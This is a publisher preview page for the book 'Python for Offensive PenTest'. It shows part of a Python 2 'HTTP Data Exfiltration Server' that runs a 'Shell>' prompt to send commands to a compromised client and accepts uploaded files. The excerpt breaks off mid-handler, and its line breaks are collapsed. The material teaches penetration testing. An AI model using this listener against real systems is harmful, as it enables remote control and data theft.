Skip to Content
Python for Offensive PenTest
book

Python for Offensive PenTest

by Hussam Khrais
April 2018
Intermediate to advanced content levelIntermediate to advanced
176 pages
4h 16m
English
Packt Publishing
Content preview from Python for Offensive PenTest

Server side

Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# HTTP Data Exfiltration Serverimport BaseHTTPServerimport os, cgiHOST_NAME = '10.0.2.15' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):    def do_GET(s):            command = raw_input("Shell> ")        s.send_response(200)        s.send_header("Content-type", "text/html")        s.end_headers()        s.wfile.write(command)                def do_POST(s): # Here we will use the points which we mentioned in the Client side, as a start if the "/store" ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Python Penetration Testing Cookbook

Python Penetration Testing Cookbook

Rejah Rehim

Publisher Resources

ISBN: 9781788838979Supplemental Content